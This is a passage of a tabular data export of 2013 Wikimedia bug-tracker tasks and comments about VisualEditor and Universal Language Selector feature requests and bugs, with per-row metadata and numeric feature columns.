To summarize: Mahitgar, can you please write *what* are you asking to do? ULS may or may not be the a good *way* to do it, but first the actual feature must be defined. I tried to read the the thread, and I didn't quite understand the requirement.",,,1374496050,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.5,1.5,4.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,4.5,10.0,0.0,2.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,3.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,12.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.5,0.0,10.5,5.5,9.5,0.0,3.5,11.5,0.0,0.0,0.0,0.0,7.0,0.5,0.5,0.0,5.0,10.0,5.0,0.5,0.0,0.0,5.0,0.0,1.0,3.5,0.0,2.5,0.0,0.0,0.0,3.7241379310344827,0.6609195402298851,"ULS is a flexible tool for selecting a language out of a long list of possible languages. It may or may not be relevant for this request.

The ULS may be used in the future for switching to Wikipedia in another language; I refer to the thing that is done today with the interlanguage links.

Setting a different content language for a whole page is a useful feature, and the ULS can be used for selecting the language there, but first the MediaWiki core must support it; see Bug 9360. It is also mentioned in the i18n specification for VE: URL .

To summarize: Mahitgar, can you please write *what* are you asking to do? ULS may or may not be the a good *way* to do it, but first the actual feature must be defined. I tried to read the the thread, and I didn't quite understand the requirement."
243343,Add ULS language setting dialogue box in VisualEditor page settings,Im not sure this is desirable or not; adding people and tracking to help sort that out.  Is runa@wikimedia.org on bugzilla yet?,,,1374494932,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.925925925925926,0.9629629629629629,Im not sure this is desirable or not; adding people and tracking to help sort that out.  Is runa@wikimedia.org on bugzilla yet?
243339,Add ULS language setting dialogue box in VisualEditor page settings,So far this report does not explain which problem you would like to solve by this.,,,1374075062,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,So far this report does not explain which problem you would like to solve by this.
243335,Add ULS language setting dialogue box in VisualEditor page settings,"Created attachment 12858
Request for ULS language settings in VE page settings-languages

Request for ULS language settings link in VE page settings-languages .When clicked should open up ULS dialogue box for language settings

**Attached**: {F11465}",,,1373969905,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.469387755102041,0.5918367346938775,"Created attachment 12858
Request for ULS language settings in VE page settings-languages

Request for ULS language settings link in VE page settings-languages .When clicked should open up ULS dialogue box for language settings

**Attached**: {F11465}"
243329,Add ULS language setting dialogue box in VisualEditor page settings,"(In reply to comment #0)
> In VisualEditor pagesettings>>languages below
> MediaWiki:Visualeditor-dialog-meta-languages-section the option button should
> be available 'Visit ULS language settings' for current
> {{contentlanguage}}wiki
> >> Then dialog box of ULS language settings should open up

Please provide a screenshot of the current problem that you would like to
solve, plus a link to reproduce. 
Also see https://www.mediawiki.org/wiki/How_to_report_a_bug

> 
> *To understand further the need for above request,please do refer to survey
> data and analysis provided at
> http://www.mediawiki.org/wiki/Talk:
> Universal_Language_Selector#feature_to_make_content_language_input__default_2
> 8864

Please summarize the points made there instead of making me read a long thread.",,,1373893663,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,22.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,11.0,3.0,1.0,0.0,3.0,10.0,11.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,3.5205479452054793,0.5753424657534246,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please provide a screenshot of the current problem that you would like to
solve, plus a link to reproduce. 
Also see URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please summarize the points made there instead of making me read a long thread."
53354,ULS input options visibility in VE with a drop down menu,"All wikis,other than english wikipedia ULS input options for input should be availabe as dropdown menu on VisualEditor toolbar [[:File:VisualEditor.toolbar.png]] just below the page settings [[File:VisualEditor - Toolbar - Page settings.png|80px]] with sign [[File:WMF-Agora-Input settings-000000.svg]] + enable input methods/'select input method'/name of current selected input method as heading.  



*To understand further the need for above request,please do refer to survey
data and analysis provided at
http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864 


Thanks and Warm Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373885880,1373968970.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,8.5,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,12.5,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,8.5,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,4.575,0.725,"All wikis,other than english wikipedia ULS input options for input should be availabe as dropdown menu on VisualEditor toolbar [[:File:VisualEditor.toolbar.png]] just below the page settings [[File:VisualEditor - Toolbar - Page settings.png|80px]] with sign [[File:WMF-Agora-Input settings-000000.svg]] + enable input methods/'select input method'/name of current selected input method as heading.  



*To understand further the need for above request,please do refer to survey
data and analysis provided at
URL 


Thanks and Warm Regards

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243199,ULS input options visibility in VE with a drop down menu,"Hi Mahitgar. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 49569 ***",,,1373968970,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8214285714285716,0.7678571428571429,"Hi Mahitgar. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 49569 ***"
243194,ULS input options visibility in VE with a drop down menu,"Created attachment 12855
Example Needed ULS input method dropdown menu at VisualEditor.toolbar

**Attached**: {F11453}",,,1373956157,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,0.8695652173913043,"Created attachment 12855
Example Needed ULS input method dropdown menu at VisualEditor.toolbar

**Attached**: {F11453}"
243191,ULS input options visibility in VE with a drop down menu,"(In reply to comment #0)
> All wikis,other than english wikipedia ULS input options for input should be
> availabe as dropdown menu on VisualEditor toolbar
> [[:File:VisualEditor.toolbar.png]] just below the page settings
> [[File:VisualEditor - Toolbar - Page settings.png|80px]] with sign
> [[File:WMF-Agora-Input settings-000000.svg]] + enable input methods/'select
> input method'/name of current selected input method as heading.  

It is unclear to me what is requested here. Could you please provide steps to reproduce as a numbered list, click by click, plus the current outcome, and the outcome that you expect?
Also see https://www.mediawiki.org/wiki/How_to_report_a_bug

> *To understand further the need for above request,please do refer to survey
> data and analysis provided at
> http://www.mediawiki.org/wiki/Talk:
> Universal_Language_Selector#feature_to_make_content_language_input__default_2
> 8864 

Please summarize the points made there instead of making me read a long thread.",,,1373893817,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avk6xwxd7jsix4gwqxoe,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,19.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,8.0,2.0,1.0,0.0,6.0,9.0,9.0,1.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,0.0,3.5730337078651684,0.6067415730337079,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It is unclear to me what is requested here. Could you please provide steps to reproduce as a numbered list, click by click, plus the current outcome, and the outcome that you expect?
Also see URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please summarize the points made there instead of making me read a long thread."
53343,VisualEditor: Automatically add title of the section to edit summary,"It would be very usefull if VE added the title of the section automatically to the edit summary, if the user only changed contents in one section. This is not the same request as bug 48429, the section should be added even if the user edited the whole page, but only changed contents of one section.

Rationale: The automatic section in the summary is very usefull if you check edits of other users. Two examples:

1. A user adds a new external link (without summary). Without the section you have to look at the diff, but if the edit summary contained a /* External links */ you can guess what the user did even without summary.

2. You want to find the user who added the image to section ""Foo"". Even if there are summaries like ""+image"" this doesn't help you much, but the summary /* Foo */ +image does help you. The section is also usefull if no additional summary is given, in the worst case you have to look at all changes to the whole article and to the section ""Foo"" to find the author.

Pseudo-algorithm:

1. Find the position of the first and the last change in the new text (i.e. find the common initial and final strings in the old and the new text).
2. Find the first headline above the last change (a line that starts with that character or before it and matches the pattern for headlines).
3. If this headline is before the first change, you found the section.
4. Else look for the next headline before it of higher level.
5. If there is such a headline, go to step 3, else more than one section was changed.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1373878680,1373932279.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-6vh7i45cbz7znphxlsf6,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.0,0.5,0.75,0.5,7.25,1.25,0.0,0.0,2.25,1.75,0.25,0.0,0.5,0.5,0.0,0.0,3.25,11.0,0.0,1.25,0.25,0.0,0.0,2.25,0.25,0.0,0.25,0.25,0.25,0.0,4.25,2.0,0.75,1.0,2.0,0.0,0.0,0.25,0.25,0.25,0.0,0.0,3.75,0.0,0.0,0.0,0.25,0.0,14.0,0.5,0.5,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.25,10.25,2.5,5.75,2.25,2.25,12.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.75,11.0,1.25,0.0,1.5,0.0,2.75,0.0,0.75,1.25,0.0,0.0,0.5,0.25,2.0,3.6174450549450547,0.6011705685618729,"It would be very usefull if VE added the title of the section automatically to the edit summary, if the user only changed contents in one section. This is not the same request as bug 48429, the section should be added even if the user edited the whole page, but only changed contents of one section.

Rationale: The automatic section in the summary is very usefull if you check edits of other users. Two examples:

1. A user adds a new external link (without summary). Without the section you have to look at the diff, but if the edit summary contained a /* External links */ you can guess what the user did even without summary.

2. You want to find the user who added the image to section ""Foo"". Even if there are summaries like ""+image"" this doesn't help you much, but the summary /* Foo */ +image does help you. The section is also usefull if no additional summary is given, in the worst case you have to look at all changes to the whole article and to the section ""Foo"" to find the author.

Pseudo-algorithm:

1. Find the position of the first and the last change in the new text (i.e. find the common initial and final strings in the old and the new text).
2. Find the first headline above the last change (a line that starts with that character or before it and matches the pattern for headlines).
3. If this headline is before the first change, you found the section.
4. Else look for the next headline before it of higher level.
5. If there is such a headline, go to step 3, else more than one section was changed.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
242555,VisualEditor: Automatically add title of the section to edit summary,"This is the same as bug 50872; merging.

*** This bug has been marked as a duplicate of bug 50872 ***",,,1373932279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6vh7i45cbz7znphxlsf6,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.9285714285714284,0.6428571428571429,"This is the same as bug 50872; merging.

*** This bug has been marked as a duplicate of bug 50872 ***"
242550,VisualEditor: Automatically add title of the section to edit summary,"**ignatzmice.wiki** wrote:

I agree with Michael, this would be very useful.",,,1373891958,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6vh7i45cbz7znphxlsf6,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.526315789473684,0.8421052631578947,"**ignatzmice.wiki** wrote:

I agree with Michael, this would be very useful."
53341,"VisualEditor: double-clicking ""create reference"" generates a quasi-broken ref form.","Screenshot

If you double-click ""create reference"", having clicked ""insert new reference"", it generates...well, see the screenshot. Even when the window is closed, this persists for all subsequent loadings of the references tool on that page.

Windows 7, Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11430}",Needs Triage,90.0,1373871600,1385383559.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vlaiyo2akniolmqe5tq6,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,0.0,2.0,5.0,5.0,0.0,5.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.823529411764706,0.6588235294117647,"Screenshot

If you double-click ""create reference"", having clicked ""insert new reference"", it generates...well, see the screenshot. Even when the window is closed, this persists for all subsequent loadings of the references tool on that page.

Windows 7, Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11430}"
242434,"VisualEditor: double-clicking ""create reference"" generates a quasi-broken ref form.",This has been fixed since July; sorry for slow update.,,,1385383559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vlaiyo2akniolmqe5tq6,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,This has been fixed since July; sorry for slow update.
53340,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,"Reported on EnWiki by John Broughton:

Steps to Reproduce:
(1) Click the ""transclusion"" icon
(2) In the lower left of the resulting dialog box, hover over the ""+"" sign until the bracket pair  (""[ ]"") is visible; click on that.
(3) Click on ""[ ] Content""
(4) Click on ""Apply changes""

Now none of the ""insert"" icons work, and a number of other icons on the tool bar also don't work. (The user guide is silent as to what these brackets are ''supposed'' to do.)

I can confirm the same issue also occurs for me on Firefox 22, Monobook interface.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373869620,1385383181.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-aljzsqmks2kf5dymrk45,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.5,5.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,10.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,12.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,10.5,0.0,0.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,1.0,10.0,3.0,0.0,6.0,0.0,1.0,0.0,0.5,0.5,0.5,0.5,0.5,0.0,1.5,3.2043812104787714,0.6505570611261668,"Reported on EnWiki by John Broughton:

Steps to Reproduce:
(1) Click the ""transclusion"" icon
(2) In the lower left of the resulting dialog box, hover over the ""+"" sign until the bracket pair  (""[ ]"") is visible; click on that.
(3) Click on ""[ ] Content""
(4) Click on ""Apply changes""

Now none of the ""insert"" icons work, and a number of other icons on the tool bar also don't work. (The user guide is silent as to what these brackets are ''supposed'' to do.)

I can confirm the same issue also occurs for me on Firefox 22, Monobook interface.

--------------------------
**Version**: unspecified
**Severity**: normal"
242400,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,We fixed this quite some time ago; apologies for the slowness of updating this bug report.,,,1385383181,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aljzsqmks2kf5dymrk45,task_subcomment,,True,c1,3,True,,,21,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,We fixed this quite some time ago; apologies for the slowness of updating this bug report.
242397,VisualEditor: Applying a transclusion that only contains content brackets breaks the edit toolbar.,*** Bug 51437 has been marked as a duplicate of this bug. ***,,,1374545947,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-aljzsqmks2kf5dymrk45,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51437 has been marked as a duplicate of this bug. ***
53332,VisualEditor: Deletion of alienated content blocks can delete across (rather than deleting them),"Galleries are not supported yet (bug 43037), however it is possible to select a gallery object and press delete.  However that operation doesnt appear to work correctly all the time.

Steps to reproduce
1. Go to a page with a gallery (https://en.wikipedia.org/wiki/Branford,_Florida?veaction=edit)
2. Click on the gallery
3. Press delete

Expected results:
The gallery is removed

Actual results:
The gallery object remains, and the object after the gallery is affected.
In the case of [[Branford,_Florida]], the ""See also"" changes from being a section to being a piece of normal text placed above the gallery.

However, the same procedure at on [[Lip]] results in the 1) gallery being removed (yay!), 2) the two section titles being merged together (not so good).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373847540,1385384432.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-favvfitkxvyu4vmy3ump,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,2.5,1.0,4.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,3.0,1.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.5,0.0,1.0,10.0,0.0,0.0,0.5,0.0,3.5,0.0,3.0,0.0,0.5,8.5,1.0,0.0,1.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,3.5,3.6099812996727443,0.6053062178588126,"Galleries are not supported yet (bug 43037), however it is possible to select a gallery object and press delete.  However that operation doesnt appear to work correctly all the time.

Steps to reproduce
1. Go to a page with a gallery (URL
2. Click on the gallery
3. Press delete

Expected results:
The gallery is removed

Actual results:
The gallery object remains, and the object after the gallery is affected.
In the case of [[Branford,_Florida]], the ""See also"" changes from being a section to being a piece of normal text placed above the gallery.

However, the same procedure at on [[Lip]] results in the 1) gallery being removed (yay!), 2) the two section titles being merged together (not so good).

--------------------------
**Version**: unspecified
**Severity**: normal"
241991,VisualEditor: Deletion of alienated content blocks can delete across (rather than deleting them),This was fixed in the re-work of selection and deletion recently; sorry for the slow triage.,,,1385384432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-favvfitkxvyu4vmy3ump,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,0.95,This was fixed in the re-work of selection and deletion recently; sorry for the slow triage.
53311,Allow wikitext e.g. links to documentation in templatedata,"When trying to describe complex template parameters there is a need to be able to link to a specific documentation page. For instance in in the Taxobox  there is a need to link to the main doc page
http://en.wikipedia.org/wiki/Template:Taxobox/doc
as there are lots of subtitles in using the template.

Further there is also a need for links in some of the individual parameter. 
For the ""name"" parameter the description currently reads 

For plants, see [[Wikipedia:Naming conventions (flora)]]. For all other living things, the name should be the most common vernacular name, when one is in widespread use, and a scientific name otherwise.

